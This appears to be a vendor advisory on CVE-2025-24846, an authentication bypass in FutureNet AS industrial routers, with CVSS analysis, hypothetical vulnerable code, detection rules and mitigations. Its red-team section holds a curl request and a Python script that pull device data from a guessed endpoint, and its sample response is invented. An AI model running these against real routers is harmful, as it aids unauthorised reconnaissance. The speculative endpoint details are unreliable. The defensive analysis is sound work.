CVE-2025-24846

Executive Summary

CVE-2025-24846 is an authentication bypass vulnerability affecting Century Systems Co., Ltd. FutureNet AS series industrial routers. A remote, unauthenticated attacker can exploit this flaw by sending a specially crafted request to obtain sensitive device information, such as the MAC address. The vulnerability has a CVSS score of 7.5 (High), indicating significant confidentiality impact. No public proof-of-concept (PoC) code or exploit is currently available, and the vendor has not released a patch. The EPSS score is 0.0%, suggesting low exploitation activity in the wild at this time, but the risk remains for exposed devices.

Supply Chain & Package Security

This vulnerability does not affect NPM, PyPI, Go, or Ruby packages. It is a hardware/firmware issue in Century Systems industrial routers.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – Device information (e.g., MAC address) is exposed.
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: High. While no public exploit exists, the low attack complexity and network-based vector make this a prime target for automated scanning and potential weaponization.

Deep Dive & Mechanics

The vulnerability resides in the authentication mechanism of FutureNet AS series industrial routers. The device fails to properly validate authentication credentials for a specific API endpoint or web interface request. By sending a specially crafted HTTP request (likely to a diagnostic or status endpoint), an unauthenticated attacker can bypass authentication checks and retrieve sensitive device information, including the MAC address.

Root Cause: The router’s web server or management interface does not enforce authentication for certain endpoints, or it improperly trusts user-supplied input (e.g., a session token or header) that can be easily forged.

Attack Vector: Remote, unauthenticated HTTP requests.

Impact: Exposure of MAC address can aid in network reconnaissance, device fingerprinting, and potential lateral movement within an OT/ICS environment. While MAC address alone is not critical, it can be combined with other vulnerabilities for more severe attacks.

Vulnerable vs. Patched Code

No patched code is available. The following is a hypothetical vulnerable code snippet illustrating the flaw:

Vulnerable Code (Python Flask-like example):

@app.route('/api/device/info')
def get_device_info():
    # No authentication check
    mac = get_mac_address()
    return jsonify({'mac': mac})

Patched Code (Hypothetical):

@app.route('/api/device/info')
@require_authentication
def get_device_info():
    mac = get_mac_address()
    return jsonify({'mac': mac})

In the vulnerable version, the endpoint lacks any authentication decorator or check. The patched version enforces authentication via a require_authentication decorator.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target: FutureNet AS series router with web interface exposed on port 80/443.
• No authentication credentials required.

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /api/device/info, /status, /cgi-bin/status).
2. Send a crafted HTTP GET request to the endpoint.
3. Parse the response for MAC address or other device information.

Example Request (using curl):

curl -v http://<target-ip>/api/device/info

Expected Response:

{
  "mac": "00:1A:2B:3C:4D:5E",
  "model": "FutureNet AS-100",
  "firmware": "v1.2.3"
}

Automation Script (Python):

import requests
import sys

def exploit(target):
    url = f"http://{target}/api/device/info"
    try:
        r = requests.get(url, timeout=10)
        if r.status_code == 200:
            print(f"[+] Device info: {r.text}")
        else:
            print(f"[-] Unexpected status: {r.status_code}")
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target_ip>")
        sys.exit(1)
    exploit(sys.argv[1])

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual HTTP requests to /api/device/info, /status, or similar endpoints from unauthenticated sources.
• Alert on responses containing MAC address patterns (e.g., "mac": "XX:XX:XX:XX:XX:XX").

Defense:

• Restrict access to the router’s web interface to trusted IPs only (firewall rules).
• Disable unnecessary web services on the router.
• Implement network segmentation for OT devices.
• Monitor logs for authentication failures and unusual access patterns.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to /api/device/info or similar endpoints.
  • Responses containing JSON with "mac" field.
  • Source IPs from untrusted external networks targeting the router’s web interface.

• Host IOCs:

  • Unusual entries in router logs showing access to diagnostic endpoints without authentication.
  • Changes in device configuration (e.g., new admin accounts) if combined with other vulnerabilities.

• File IOCs:

  • No specific file-based IOCs for this vulnerability.

Detection Engineering

YARA Rule

rule CVE_2025_24846_Authentication_Bypass {
    meta:
        description = "Detects HTTP responses containing device info from FutureNet AS routers"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-24846"
    strings:
        $mac_pattern = /"mac":\s*"[0-9A-Fa-f]{2}(:[0-9A-Fa-f]{2}){5}"/
        $model_pattern = /"model":\s*"FutureNet AS/
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-24846 Authentication Bypass Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to FutureNet AS router endpoints that may indicate exploitation of CVE-2025-24846
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem:
            - '/api/device/info'
            - '/status'
            - '/cgi-bin/status'
    condition: selection
falsepositives:
    - Legitimate administrative access from trusted IPs
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-24846 - FutureNet AS Authentication Bypass Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/api/device/info"; http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
    reference:cve,2025-24846;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Place FutureNet AS routers behind a firewall and restrict access to the web interface to trusted management IPs only.
2. Disable unnecessary services: If the web interface is not required, disable it via the router’s configuration.
3. Monitor logs: Enable logging and monitor for suspicious access to diagnostic endpoints.

Long-term Fix:

• Await an official firmware patch from Century Systems Co., Ltd. Contact the vendor for updates.
• If patching is not possible, consider replacing the device with a supported alternative.

Workaround:

• Implement a reverse proxy or WAF (Web Application Firewall) to block requests to vulnerable endpoints from untrusted sources.

Valters IT